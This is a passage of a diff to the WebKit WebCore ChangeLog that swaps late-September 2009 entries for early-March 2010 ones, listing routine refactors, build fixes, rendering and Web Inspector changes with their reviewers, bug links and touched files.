+          Use checkedRadioButtons() instead of document()->checkedRadioButtons().
 
-        Reviewed by Dimitri Glazkov.
+2010-03-07  Mark Rowe  <mrowe@apple.com>
 
-        Allow V8 to handle x/y parameters in a WebKitPoint constructor.
-        https://bugs.webkit.org/show_bug.cgi?id=29823
+        Rubber-stamped by Cameron Zwarich.
 
-        Fixes V8's handling of LayoutTests/fast/dom/Window/webkitConvertPoint.html
+        Remove unnecessary includes from header files, adding them to the handful of implementation files that need them.
 
-        * bindings/v8/custom/V8WebKitPointConstructor.cpp: Allow for x/y parameters in constructor.
+        * bindings/objc/DOM.mm:
+        * loader/CachedImage.h:
+        * loader/EmptyClients.h:
+        * platform/graphics/GlyphPageTreeNode.cpp:
+        * platform/text/CString.h:
+        * platform/text/String.cpp:
+        * platform/text/mac/TextCodecMac.cpp:
+        * svg/graphics/SVGResourceFilter.h:
+        * svg/graphics/filters/SVGFEImage.h:
 
-2009-09-28  Mark Rowe  <mrowe@apple.com>
+2010-03-07  Mark Rowe  <mrowe@apple.com>
 
-        Fix the build by doing something approximating reasonableness in the Xcode project.
+        Completely remove two files that were deleted in r55635 from the Xcode project.
 
         * WebCore.xcodeproj/project.pbxproj:
 
-2009-09-28  Simon Hausmann  <hausmann@webkit.org>
+2010-03-07  Sam Weinig  <sam@webkit.org>
 
-        Prospective Tiger build fix.
-
-        * WebCore.xcodeproj/project.pbxproj: Try to use unique IDs for the new files.
+        Reviewed by Dan Bernstein.
 
-2009-09-28  Pavel Feldman  <pfeldman@chromium.org>
+        Remove inconsistent "Too few arguments" handling for window.atob() and window.btoa()
+        https://bugs.webkit.org/show_bug.cgi?id=35848
 
-        Reviewed by Timothy Hatcher.
+        - Take the opportunity to fully autogenerate window.atob() and window.btoa().
 
-        Web Inspector: Add explicit frontend event for commit load.
+        * bindings/js/JSDOMWindowCustom.cpp:
+        * page/DOMWindow.cpp:
+        (WebCore::DOMWindow::btoa):
+        (WebCore::DOMWindow::atob):
+        * page/DOMWindow.idl:
 
-        https://bugs.webkit.org/show_bug.cgi?id=29814
+2010-03-07  Dan Bernstein  <mitz@apple.com>
 
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::didCommitLoad):
-        * inspector/InspectorFrontend.cpp:
-        (WebCore::InspectorFrontend::didCommitLoad):
-        * inspector/InspectorFrontend.h:
-        * inspector/front-end/DOMAgent.js:
-        (WebInspector.DOMAgent.prototype._setDocument):
-        * inspector/front-end/inspector.js:
-        (WebInspector.addResource):
-        (WebInspector.didCommitLoad):
+        Reviewed by Simon Fraser.
 
-2009-09-28  Yaar Schnitman  <yaar@chromium.org>
+        <rdar://problem/7722008> Column breaking ignores floats
+        https://bugs.webkit.org/show_bug.cgi?id=35837
 
-        Reviewed by Dimitri Glazkov.
+        Test: fast/multicol/float-truncation.html
 
-        Chromium port - recognize we are being built independently
-        of chromium and look for dependencies under webkit/chromium rather
-        than chromium/src.
+        Introduce an earlier column-break if otherwise a float that could fit
+        inside a single column will be split between columns.
 
-        https://bugs.webkit.org/show_bug.cgi?id=29722
+        It is still possible for floats to be needlessly broken if initially
+        they fit in the column, but normal flow truncation then shortens the
+        column.
 
-        * WebCore.gyp/WebCore.gyp: See above. Also removed a few files from
-          the sources list, since they are not supposed to be built here.
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::visibleTopOfHighestFloatExtendingBelow): Added.
+        Returns the visible top of the highest descendant float that visibly
+        extends below the given y offset, ignoring floats that are taller than
+        the given maximum height.
+        (WebCore::RenderBlock::layoutColumns): If the initial column height
+        would cause a float to be split, truncate above the float.
+        * rendering/RenderBlock.h:
 
-2009-09-28  Jakub Wieczorek  <faw217@gmail.com>
+2010-03-07  Dmitry Titov  <dimich@chromium.org>
 
-        Reviewed by Simon Hausmann.
+        Not reviewed. Revert of r55593 which caused a regression of worker-cloneports.html.
 
-        [Qt] Implement XSLT support with QtXmlPatterns.
-        https://bugs.webkit.org/show_bug.cgi?id=28303
+        REGRESSION(55593?): fast/workers/worker-cloneport.html is timing out on Leopard
+        https://bugs.webkit.org/show_bug.cgi?id=35819
 
+        * Android.jscbindings.mk:
+        * Android.v8bindings.mk:
         * GNUmakefile.am:
         * WebCore.gypi:
         * WebCore.pro:
         * WebCore.vcproj/WebCore.vcproj:
-        * WebCoreSources.bkl:
+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/JSDOMWindowCustom.cpp:
+        * bindings/js/JSDatabaseCallback.cpp: Removed.
+        * bindings/js/JSDatabaseCallback.h: Removed.
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        * bindings/v8/custom/V8DatabaseCallback.cpp: Removed.
+        * bindings/v8/custom/V8DatabaseCallback.h: Removed.
         * dom/Document.cpp:
-        (WebCore::Document::Document):
-        (WebCore::Document::~Document):
-        (WebCore::Document::setTransformSource):
-        * dom/Document.h:
-        (WebCore::Document::transformSource):
-        * dom/TransformSource.h: Added.
-        (WebCore::TransformSource::platformSource):
-        * dom/TransformSourceLibxslt.cpp: Added.
-        (WebCore::TransformSource::TransformSource): Wraps a libxml2 document.
-        (WebCore::TransformSource::~TransformSource):
-        * dom/TransformSourceQt.cpp: Added.
-        (WebCore::TransformSource::TransformSource): Wraps a plain string.
-        (WebCore::TransformSource::~TransformSource):
-        * dom/XMLTokenizerLibxml2.cpp:
-        (WebCore::XMLTokenizer::doEnd):
-        * dom/XMLTokenizerQt.cpp:
-        (WebCore::XMLTokenizer::doEnd):
-        (WebCore::XMLTokenizer::parseProcessingInstruction):
-        * xml/XSLStyleSheet.h:
-        (WebCore::XSLStyleSheet::sheetString):
-        * xml/XSLStyleSheetLibxslt.cpp:
-        (WebCore::XSLStyleSheet::document):
-        * xml/XSLStyleSheetQt.cpp: Added.
-        * xml/XSLTProcessor.h:
-        * xml/XSLTProcessorLibxslt.cpp:
-        (WebCore::xmlDocPtrFromNode):
-        * xml/XSLTProcessorQt.cpp: Added.
-        (WebCore::XSLTMessageHandler::XSLTMessageHandler): A subclass of QAbstractMessageHandler.
-        (WebCore::XSLTMessageHandler::handleMessage): Forwards all processor messages to the Console.
-        (WebCore::XSLTProcessor::transformToString): Uses QXmlQuery.
-
-2009-09-28  Andrew Scherkus  <scherkus@chromium.org>
-
-        Reviewed by Eric Carlson.
-
-        Delegate implementation of rendererIsNeeded() for media control elements to RenderTheme.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28689
-
-        Covered by LayoutTests/media/video-no-audio.html
-
-        * rendering/MediaControlElements.cpp: Removed subclass implementations of rendererIsNeeded().
-        (WebCore::MediaControlElement::rendererIsNeeded): Include calling shouldRenderMediaControlPart().
-        (WebCore::MediaControlInputElement::rendererIsNeeded): Include calling shouldRenderMediaControlPart().
-        * rendering/MediaControlElements.h:
-        * rendering/RenderTheme.cpp:
-        (WebCore::RenderTheme::shouldRenderMediaControlPart): New method.  Contains logic moved from subclass implementations of rendererIsNeeded().
-        * rendering/RenderTheme.h:
-        * rendering/RenderThemeChromiumSkia.cpp:
-        (WebCore::RenderThemeChromiumSkia::shouldRenderMediaControlPart): Override to always render mute button.
-        * rendering/RenderThemeChromiumSkia.h:
-
-2009-09-28  Jian Li  <jianli@chromium.org>
+        (WebCore::Document::postTask):
+        * page/DOMWindow.cpp:
+        (WebCore::DOMWindow::openDatabase):
+        * page/DOMWindow.h:
+        * page/DOMWindow.idl:
+        * storage/Database.cpp:
+        (WebCore::Database::openDatabase):
+        (WebCore::Database::Database):
+        (WebCore::Database::performOpenAndVerify):
+        * storage/Database.h:
+        * storage/DatabaseCallback.h: Removed.
+        * workers/WorkerContext.cpp:
+        (WebCore::WorkerContext::openDatabase):
+        * workers/WorkerContext.h:
 
-        Reviewed by David Levin.
+2010-03-06  Mark Rowe  <mrowe@apple.com>
 
-        [chromium] DragData::asURL should return file URL.
-        https://bugs.webkit.org/show_bug.cgi?id=29109
+        Rubber-stamped by Sam Weinig.
 
-        Tested by LayoutTests/fast/events/drag-to-navigate.html.
+        Remove unnecessary includes of wtf/Platform.h.  This is already pulled in by config.h.
 
+        * accessibility/AccessibilityObject.h:
+        * dom/XMLTokenizer.cpp:
+        * dom/XMLTokenizerLibxml2.cpp:
+        * dom/XMLTokenizerQt.cpp:
+        * editing/TextAffinity.h:
+        * loader/FrameLoaderClient.h:
+        * page/FocusController.cpp:
+        * page/FrameTree.cpp:
+        * page/Geolocation.h:
+        * page/PositionCallback.h:
+        * page/PositionErrorCallback.h:
+        * platform/Cursor.h:
         * platform/FileSystem.h:
-        * platform/chromium/ChromiumBridge.h:
-        * platform/chromium/DragDataChromium.cpp:
-        (WebCore::DragData::asURL):
-        * platform/chromium/FileSystemChromium.cpp:
-        (WebCore::getAbsolutePath):
-        (WebCore::isDirectory):
-        (WebCore::filePathToURL):
-
-2009-09-28  Dimitri Glazkov  <dglazkov@chromium.org>
-
-        Reviewed by David Levin.
-
-        [V8] Add a special case to handle index arguments, because we need to be
-        able to see if they're < 0.
-        https://bugs.webkit.org/show_bug.cgi?id=29810
-
-        Test: LayoutTests/dom/html/level1/core/hc_characterdataindexsizeerrdeletedatacountnegative.html
-
-        * bindings/scripts/CodeGeneratorV8.pm: Added special case (matching CodeGeneratorJS.pm)
-          for index arguments.
-
-2009-09-28  Dan Bernstein  <mitz@apple.com>
-
-        Reviewed by Darin Adler.
-
-        Extend the MediaWiki/KHTMLFixes.css workaround to cover older MediaWiki versions
-        https://bugs.webkit.org/show_bug.cgi?id=29792
-
-        * html/HTMLLinkElement.cpp:
-        (WebCore::HTMLLinkElement::setCSSStyleSheet): If site specific hacks are
-        enabled, check if the linked style sheet is one of two versions of the
-        MediaWiki KHTMLFixes.css. If so, remove the offending rule.
-
-2009-09-28  Dimitri Glazkov  <dglazkov@chromium.org>
-
-        Reviewed by Adam Barth.
-
-        [V8] Fix an error in type logic in CodeGeneratorV8.pm, where
-        unsigned ints are accidentally used as signed.
-        https://bugs.webkit.org/show_bug.cgi?id=29810
-
-        Test: LayoutTests/fast/forms/textarea-maxlength.html
-
-        * bindings/scripts/CodeGeneratorV8.pm: Made sure "unsigned long" in IDL is
-          properly generates on "unsigned" return value.
-
-2009-09-28  Jakub Wieczorek  <faw217@gmail.com>
-
-        Reviewed by Simon Hausmann.
-
-        Rename XSLStyleSheet.cpp to XSLStyleSheetLibxslt.cpp.
-        https://bugs.webkit.org/show_bug.cgi?id=28303
-
-        In preparation for adding XSLT support with QtXmlPatterns to the Qt
-        port, rename XSLStyleSheet.cpp to XSLStyleSheetLibxslt.cpp as we will
-        have our own implementation which most likely will not share any code
-        with the current one.
-
-        Additionally, fix some coding style issues.
-
-        * GNUmakefile.am:
-        * WebCore.gypi:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        * xml/XSLStyleSheet.cpp: Renamed to XSLStyleSheetLibxslt.cpp.
-        * xml/XSLStyleSheetLibxslt.cpp: Added.
-
-2009-09-28  Simon Hausmann  <simon.hausmann@nokia.com>
-
-        Prospective build fix for r48812.
-
-        Forgot to remove the inline reset() implementation when reverting the indentation
-        changes in the file.
-
-        * xml/XSLTProcessor.h:
+        * platform/FloatConversion.h:
+        * platform/KeyboardCodes.h:
+        * platform/PlatformKeyboardEvent.h:
+        * platform/PlatformTouchPoint.h:
+        * platform/SuddenTermination.h:
+        * platform/Widget.h:
+        * platform/graphics/Color.h:
+        * platform/graphics/FloatPoint.h:
+        * platform/graphics/FloatSize.h:
+        * platform/graphics/GraphicsContext.h:
+        * platform/graphics/IntPoint.h:
+        * platform/graphics/IntRect.h:
+        * platform/graphics/IntSize.h:
+        * platform/graphics/openvg/PainterOpenVG.h:
+        * platform/graphics/openvg/SurfaceOpenVG.h:
+        * platform/network/ResourceHandleClient.h:
+        * platform/text/Base64.cpp:
+        * rendering/style/SVGRenderStyle.h:
+        * xml/XSLTProcessor.cpp:
+        * xml/XSLTProcessorLibxslt.cpp:
+        * xml/XSLTProcessorQt.cpp:
 
-2009-09-28  Pavel Feldman  <pfeldman@chromium.org>
+2010-03-06  Sam Weinig  <sam@webkit.org>
 
-        Reviewed by nobody (trivial follow up fix), Joseph Pecoraro LGTM-ed.
+        Reviewed by Dan Bernstein.
 
-        Web Inspector: Follow up to r48809.
-        InspectorController.wrapObject should only be called on the inspectable page side.
+        Move debug only JS wrapper-set tracking code into its own file.
+        https://bugs.webkit.org/show_bug.cgi?id=35839
 
-        https://bugs.webkit.org/show_bug.cgi?id=17429
+        * GNUmakefile.am: Added new files.
+        * WebCore.gypi: Ditto.
+        * WebCore.pro: Ditto.
+        * WebCore.vcproj/WebCore.vcproj: Ditto.
+        * WebCore.xcodeproj/project.pbxproj: Ditto.
 
-        * inspector/front-end/EventListenersSidebarPane.js:
-        (WebInspector.EventListenersSidebarPane.prototype.update.callback):
-        (WebInspector.EventListenersSidebarPane.prototype.update):
-        (WebInspector.EventListenersSection):
-        (WebInspector.EventListenersSection.prototype.update):
-        (WebInspector.EventListenerBar):
-        (WebInspector.EventListenerBar.prototype.update):
+        * bindings/js/JSDOMBinding.cpp:
+        (WebCore::cacheDOMObjectWrapper):
+        (WebCore::forgetDOMObject):
+        (WebCore::forgetDOMNode):
+        (WebCore::cacheDOMNodeWrapper):
+        (WebCore::takeWrappers):
+        (WebCore::updateDOMNodeDocument):
+        Updated for new signature for willCacheWrapper and didUncacheWrapper.
 
-2009-09-28  Jakub Wieczorek  <faw217@gmail.com>
+        * bindings/js/JSDOMWrapper.cpp: Added.
+        (WebCore::DOMObject::~DOMObject):
+        (WebCore::DOMObject::defineOwnProperty):
+        Moved from JSDOMBinding.cpp.
 
-        Reviewed by Simon Hausmann.
+        * bindings/js/JSDebugWrapperSet.cpp: Added.
+        (WebCore::JSDebugWrapperSet::shared):
+        (WebCore::JSDebugWrapperSet::JSDebugWrapperSet):
+        * bindings/js/JSDebugWrapperSet.h: Added.
+        (WebCore::JSDebugWrapperSet::add):
+        (WebCore::JSDebugWrapperSet::remove):
+        (WebCore::JSDebugWrapperSet::contains):
+        (WebCore::JSDebugWrapperSet::willCacheWrapper):
+        (WebCore::JSDebugWrapperSet::didUncacheWrapper):
+        Moved from JSDOMBinding.cpp.
 
-        Move the libxslt specific part of XSLTProcessor to a separate file.
-        https://bugs.webkit.org/show_bug.cgi?id=28303
+2010-03-06  Sam Weinig  <sam@webkit.org>
 
-        In preparation for adding XSLT support with QtXmlPatterns to the Qt
-        port, move the libxslt part of the XSLTProcessor implementation into
-        another file and leave the part that can be reused and shared.
+        Rubber-stamped by Dan Bernstein.
 
-        Additionally, fix some coding style issues.
+        Move DOMObjectHashTableMap, DOMWrapperWorld and WebCoreJSClientData into
+        their own files.
 
         * GNUmakefile.am:
         * WebCore.gypi:
+        * WebCore.pro:
         * WebCore.vcproj/WebCore.vcproj:
         * WebCore.xcodeproj/project.pbxproj:
-        * WebCoreSources.bkl:
-        * xml/XSLTProcessor.cpp:
-        (WebCore::XSLTProcessor::createDocumentFromSource): Remove trailing whitespaces.
-        (WebCore::createFragmentFromSource): Remove trailing whitespaces.
-        (WebCore::XSLTProcessor::transformToFragment): Remove trailing whitespaces.
-        (WebCore::XSLTProcessor::reset): Moved out of the class definition.
-        * xml/XSLTProcessorLibxslt.cpp: Added.
-        (WebCore::XSLTProcessor::genericErrorFunc): Moved.
-        (WebCore::XSLTProcessor::parseErrorFunc): Moved.
-        (WebCore::docLoaderFunc): Moved.
-        (WebCore::setXSLTLoadCallBack): Moved.
-        (WebCore::writeToVector): Moved.
-        (WebCore::saveResultToString): Moved.
-        (WebCore::xsltParamArrayFromParameterMap): Moved.
-        (WebCore::freeXsltParamArray): Moved.
-        (WebCore::xsltStylesheetPointer): Moved.
-        (WebCore::xmlDocPtrFromNode): Moved.
-        (WebCore::resultMIMEType): Moved.
-        (WebCore::XSLTProcessor::transformToString): Moved.
-
-2009-09-28  Charles Wei  <charles.wei@torchmobile.com.cn>
+        * bindings/js/DOMObjectHashTableMap.cpp: Copied from bindings/js/JSDOMBinding.cpp.
+        * bindings/js/DOMObjectHashTableMap.h: Copied from bindings/js/JSDOMBinding.h.
+        (WebCore::DOMObjectHashTableMap::~DOMObjectHashTableMap):
+        (WebCore::DOMObjectHashTableMap::get):
+        * bindings/js/DOMWrapperWorld.cpp: Copied from bindings/js/JSDOMBinding.cpp.
+        (WebCore::forgetWorldOfDOMNodesForDocument):
+        * bindings/js/DOMWrapperWorld.h: Copied from bindings/js/JSDOMBinding.h.
+        (WebCore::DOMWrapperWorld::create):
+        (WebCore::DOMWrapperWorld::rememberDocument):
+        (WebCore::DOMWrapperWorld::forgetDocument):
+        (WebCore::DOMWrapperWorld::isNormal):
+        (WebCore::debuggerWorld):
+        (WebCore::pluginWorld):
+        (WebCore::currentWorld):
+        (WebCore::Document::getWrapperCache):
+        * bindings/js/JSDOMBinding.cpp:
+        * bindings/js/JSDOMBinding.h:
+        * bindings/js/JSDOMWindowBase.cpp:
+        * bindings/js/ScriptController.cpp:
+        * bindings/js/WebCoreJSClientData.h: Copied from bindings/js/JSDOMBinding.h.
+        (WebCore::WebCoreJSClientData::WebCoreJSClientData):
+        (WebCore::WebCoreJSClientData::~WebCoreJSClientData):
+        (WebCore::WebCoreJSClientData::normalWorld):
+        (WebCore::WebCoreJSClientData::getAllWorlds):
+        (WebCore::WebCoreJSClientData::rememberWorld):
+        (WebCore::WebCoreJSClientData::forgetWorld):
+        * bindings/js/WorkerScriptController.cpp:
 
-        Reviewed by Nikolas Zimmermann.
+2010-03-06  Dan Bernstein  <mitz@apple.com>
 
-        Fix the crash of SVG that crashes when use a non-exist symbol
-        https://bugs.webkit.org/show_bug.cgi?id=27693
+        Rubber-stamped by Sam Weinig.
 
-        Test: svg/custom/use-non-existing-symbol-crash.svg
+        Remove an unused method.
 
-        * svg/SVGUseElement.cpp:
-        (WebCore::shadowTreeContainsChangedNodes):
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::layoutBlock): Changed comment.
+        (WebCore::RenderBlock::floatRect): Removed.
+        * rendering/RenderBlock.h: Removed floatRect().
 
-2009-09-28  Joseph Pecoraro  <joepeck@webkit.org>
+2010-03-06  Pavel Feldman  <pfeldman@chromium.org>
 
         Reviewed by Timothy Hatcher.
 
-        Inspector Should Show Event Listeners/Handlers Registered on each Node
-        https://bugs.webkit.org/show_bug.cgi?id=17429
-        
-          Extracted a method from dispatchEvent to get the event ancestor chain
-        
-        * dom/Node.cpp:
-        (WebCore::Node::eventAncestors): the extracted method
-        (WebCore::Node::dispatchGenericEvent): use eventAncestors
-        * dom/Node.h:
-
-          Asynchronous Flow For the Inspector, Backend -> DOM Agent -> Frontend
-          The DOMAgent's getEventListenersForNode handles the logic of finding
-          all the relevant listeners in the event flow.
-
-        * inspector/InspectorBackend.cpp:
-        (WebCore::InspectorBackend::getEventListenersForNode):
-        * inspector/InspectorBackend.h:
-        * inspector/InspectorBackend.idl:
-        * inspector/InspectorDOMAgent.cpp:
-        (WebCore::InspectorDOMAgent::getEventListenersForNode):
-        (WebCore::InspectorDOMAgent::buildObjectForEventListener):
-        (WebCore::InspectorDOMAgent::buildObjectForNode): added localName
-        * inspector/InspectorDOMAgent.h:
-        (WebCore::EventListenerInfo::EventListenerInfo):
-        * inspector/InspectorFrontend.cpp:
-        (WebCore::InspectorFrontend::didGetEventListenersForNode):
-        * inspector/InspectorFrontend.h:
-        (WebCore::InspectorFrontend::scriptState):
-        * inspector/front-end/DOMAgent.js: added localName to WebInspector.DOMNode from payload
-        (WebInspector.EventListeners.getEventListenersForNodeAsync.mycallback):
-        (WebInspector.EventListeners.getEventListenersForNodeAsync):
-
-          New Sidebar Pane in the Element's Panel
-          Includes Gear Menu for filtering the Event Listeners on the
-          "Selected Node Only" or "All Nodes"
-
-        * inspector/front-end/ElementsPanel.js: Handles refreshing the Pane when necessary
-        (WebInspector.ElementsPanel.this.treeOutline.focusedNodeChanged):
-        (WebInspector.ElementsPanel):
-        (WebInspector.ElementsPanel.prototype.updateEventListeners):
-        * inspector/front-end/EventListenersSidebarPane.js: Added. 
-        (WebInspector.EventListenersSidebarPane): The 1st level in the Pane
-        (WebInspector.EventListenersSidebarPane.prototype.update.callback):
-        (WebInspector.EventListenersSidebarPane.prototype.update):
-        (WebInspector.EventListenersSection): The 2nd level in the Pane
-        (WebInspector.EventListenersSection.prototype.update): filters on Preference
-        (WebInspector.EventListenersSection.prototype.addListener):
-        (WebInspector.EventListenerBar): The 3rd level in the Pane
-        (WebInspector.EventListenerBar.prototype._getNodeDisplayName):
-        (WebInspector.EventListenerBar.prototype._getFunctionDisplayName):
-        (WebInspector.EventListenersSidebarPane.prototype._changeSetting): For the Gear Menu
-        
-          Consolidated "appropriateSelectorForNode"
-
-        * inspector/front-end/StylesSidebarPane.js:
-        * inspector/front-end/utilities.js:
-
-          Miscellaneous Updates
-
-        * English.lproj/localizedStrings.js: "Event Listeners", "No Event Listeners", "Selected Node Only", "All Nodes"
-        * WebCore.gypi: included the new inspector files
-        * WebCore.vcproj/WebCore.vcproj: included source files that were missing
-        * inspector/front-end/Images/grayConnectorPoint.png: Added. Thanks to Timothy Hatcher.
-        * inspector/front-end/Images/whiteConnectorPoint.png: Added. Thanks to Timothy Hatcher.
-        * inspector/front-end/inspector.js: Preferences for the Gear Menu Event Listeners filter
-        * inspector/front-end/inspector.css: reused as much as possible
-        * inspector/front-end/inspector.html: include the new script
-        * inspector/front-end/WebKit.qrc: included the new inspector files
-
-2009-09-27  Sam Weinig  <sam@webkit.org>
-
-        Reviewed by Dan Bernstein.
-
-        Fix for https://bugs.webkit.org/show_bug.cgi?id=29760
-        Implement CSSOM Range.getClientRects/getBoundingClientRect 
-
-        Tests: fast/dom/Range/getBoundingClientRect-getClientRects-relative-to-viewport.html
-               fast/dom/Range/getBoundingClientRect.html
-               fast/dom/Range/getClientRects.html
-
-        * dom/Range.cpp:
-        (WebCore::Range::getClientRects):
-        (WebCore::Range::getBoundingClientRect):
-        (WebCore::adjustFloatQuadsForScrollAndAbsoluteZoom):
-        (WebCore::Range::getBorderAndTextQuads):
-        * dom/Range.h:
-        * dom/Range.idl:
-        Implement Range.getClientRects/getBoundingClientRect.
-
-        * dom/Element.cpp:
-        * rendering/RenderObject.h: 
-        (WebCore::adjustForAbsoluteZoom):
-        (WebCore::adjustIntRectForAbsoluteZoom):
-        (WebCore::adjustFloatPointForAbsoluteZoom):
-        (WebCore::adjustFloatQuadForAbsoluteZoom):
-        Move point/quad adjustment methods from Element.cpp to RenderObject.h
-        so that Range.cpp can use them as well.
-
-2009-09-27  Simon Hausmann  <hausmann@webkit.org>
-
-        Unreviewed fix for WebInspector with Qt build.
-
-        Simply re-generate the Qt resource file by running
-        WebKitTools/Scripts/generate-qt-inspector-resource
-
-        * inspector/front-end/WebKit.qrc:
-
-2009-09-27  Pavel Feldman  <pfeldman@chromium.org>
+        Web Inspector: make timeline overview bars transparent to mouse events.
 
-        Reviewed by nobody (trivial ChangeLog fix).
+        https://bugs.webkit.org/show_bug.cgi?id=35832
 
-        Restore WebCore/ChangeLog truncated in r48778.
+        * inspector/front-end/inspector.css:
 
-2009-09-27  Pavel Feldman  <pfeldman@chromium.org>
+2010-03-06  Pavel Feldman  <pfeldman@chromium.org>
 
-        Reviewed by Timothy Hatcher.
+        Reviewed by Jeremy Orlow.
 
-        Web Inspector: DOM store is being unbound twice, leading to assertion failure.
+        Web Inspector: switching to/from Timeline Panel moves scroller.
+        (Also added couple of record details items as I was fixing it).
 
-        https://bugs.webkit.org/show_bug.cgi?id=29770
+        https://bugs.webkit.org/show_bug.cgi?id=35829
 
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::didOpenDatabase):
-        (WebCore::InspectorController::didUseDOMStorage):
-        * inspector/InspectorDOMStorageResource.cpp:
-        (WebCore::InspectorDOMStorageResource::unbind):
+        * English.lproj/localizedStrings.js:
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelinePanel):
+        (WebInspector.TimelinePanel.prototype.get defaultFocusedElement):
+        (WebInspector.TimelinePanel.prototype.show):
+        (WebInspector.TimelinePanel.prototype._refreshRecords):
+        (WebInspector.TimelinePanel.FormattedRecord.prototype._generatePopupContent):
 
-2009-09-26  Pavel Feldman  <pfeldman@chromium.org>
+2010-03-06  Patrick Gansterer  <paroga@paroga.com>
 
-        Reviewed by Timothy Hatcher.
+        Reviewed by Eric Seidel.
 
-        Web Inspector: Do not track DOM changes while inspector window is closed.
+        Removed unnecessary WinCE file.
+        The same functionality is provided by platform/win/SystemTimeWin.cpp.
+        https://bugs.webkit.org/show_bug.cgi?id=35799
 
-        https://bugs.webkit.org/show_bug.cgi?id=29769
+        * platform/wince/SystemTimeWince.cpp: Removed.
 
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::inspectedWindowScriptObjectCleared):
-        (WebCore::InspectorController::populateScriptObjects):
-        (WebCore::InspectorController::resetScriptObjects):
-        (WebCore::InspectorController::didCommitLoad):
-        * inspector/InspectorController.h:
-        * inspector/InspectorDOMAgent.cpp:
-        (WebCore::InspectorDOMAgent::setDocument):
-        * inspector/InspectorDOMAgent.h:
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::dispatchWindowObjectAvailable):
-        * page/android/InspectorControllerAndroid.cpp:
-        (WebCore::InspectorController::inspectedWindowScriptObjectCleared):
-
-2009-09-26  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
+2010-03-06  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
 
-        Web Inspector: [REGRESSION] Double Clicking Resources Fails to Open in New Window
+        Reviewed by Eric Seidel.
 
-        https://bugs.webkit.org/show_bug.cgi?id=29762
+        https://bugs.webkit.org/show_bug.cgi?id=30895
+        [Gtk] The accessible hierarchy of tables is significantly incorrect for Atk
 
-        * inspector/front-end/InjectedScript.js:
-        (InjectedScript.setStyleText):
-        (InjectedScript.openInInspectedWindow):
-        * inspector/front-end/InjectedScriptAccess.js:
-        * inspector/front-end/ResourcesPanel.js:
-        (WebInspector.ResourceSidebarTreeElement.prototype.ondblclick):
+        This completes the fixing of the Atk table hierarchy which was started
+        in bug #35418.
 
-2009-09-26  David Kilzer  <ddkilzer@apple.com>
+        * accessibility/gtk/AccessibilityObjectAtk.cpp:
+        (AccessibilityObject::accessibilityPlatformIncludesObject):
+        * accessibility/AccessibilityRenderObject.cpp:
+        (AccessibilityRenderObject::determineAccessibilityRole):
 
-        Part 2 of 2: <http://webkit.org/b/29753> DerivedSources.make broken for non-Mac targets
+2010-03-06  MORITA Hajime  <morrita@google.com>
 
         Reviewed by Darin Adler.
 
-        Fix ENABLE_ORIENTATION_EVENTS for non-Mac platforms.
-
-        * DerivedSources.make: Moved Platform.h check for
-        ENABLE_ORIENTATION_EVENTS into Mac-only section and added
-        default of ENABLE_ORIENTATION_EVENTS = 0 to non-Mac section.
-        Added ifndef test to make it possible to override both
-        ENABLE_DASHBOARD_SUPPORT and ENABLE_ORIENTATION_EVENTS external
-        to the makefile.  Moved addition of ENABLE_ORIENTATION_EVENTS to
-        ADDITIONAL_IDL_DEFINES to common section.
-        * GNUmakefile.am: Added support for ENABLE_ORIENTATION_EVENTS if
-        it is ever used.
-        * WebCore.pro: Ditto.
-
-2009-09-26  Kent Tamura  <tkent@chromium.org>
-
-        Reviewed by David Kilzer.
-
-        Move placeholder-related code to HTMLTextFormControlElement from
-        HTMLInputElement, WMLInputElement, InputElement, and
-        HTMLTextAreaElement.
-        https://bugs.webkit.org/show_bug.cgi?id=28703
-
-        * dom/InputElement.cpp:
-        (WebCore::InputElement::dispatchFocusEvent):
-        (WebCore::InputElement::dispatchBlurEvent):
-        (WebCore::InputElement::setValueFromRenderer):
-        * dom/InputElement.h:
-        * html/HTMLFormControlElement.cpp:
-        (WebCore::HTMLTextFormControlElement::HTMLTextFormControlElement):
-        (WebCore::HTMLTextFormControlElement::~HTMLTextFormControlElement):
-        (WebCore::HTMLTextFormControlElement::dispatchFocusEvent):
-        (WebCore::HTMLTextFormControlElement::dispatchBlurEvent):
-        (WebCore::HTMLTextFormControlElement::placeholderShouldBeVisible):
-        (WebCore::HTMLTextFormControlElement::updatePlaceholderVisibility):
-        * html/HTMLFormControlElement.h:
-        (WebCore::HTMLTextFormControlElement::handleFocusEvent):
-        (WebCore::HTMLTextFormControlElement::handleBlurEvent):
-        * html/HTMLInputElement.cpp:
-        (WebCore::HTMLInputElement::HTMLInputElement):
-        (WebCore::HTMLInputElement::handleFocusEvent):
-        (WebCore::HTMLInputElement::handleBlurEvent):
-        (WebCore::HTMLInputElement::parseMappedAttribute):
-        (WebCore::HTMLInputElement::createRenderer):
-        (WebCore::HTMLInputElement::setValue):
-        (WebCore::HTMLInputElement::setValueFromRenderer):
-        * html/HTMLInputElement.h:
-        (WebCore::HTMLInputElement::supportsPlaceholder):
-        (WebCore::HTMLInputElement::isEmptyValue):
-        * html/HTMLIsIndexElement.cpp:
-        (WebCore::HTMLIsIndexElement::parseMappedAttribute):
-        * html/HTMLTextAreaElement.cpp:
-        (WebCore::HTMLTextAreaElement::HTMLTextAreaElement):
-        (WebCore::HTMLTextAreaElement::createRenderer):
-        * html/HTMLTextAreaElement.h:
-        (WebCore::HTMLTextAreaElement::supportsPlaceholder):
-        (WebCore::HTMLTextAreaElement::isEmptyValue):
-        * rendering/RenderTextControl.cpp:
-        (WebCore::RenderTextControl::RenderTextControl):
-        * rendering/RenderTextControl.h:
-        * rendering/RenderTextControlMultiLine.cpp:
-        (WebCore::RenderTextControlMultiLine::RenderTextControlMultiLine):
-        * rendering/RenderTextControlMultiLine.h:
-        * rendering/RenderTextControlSingleLine.cpp:
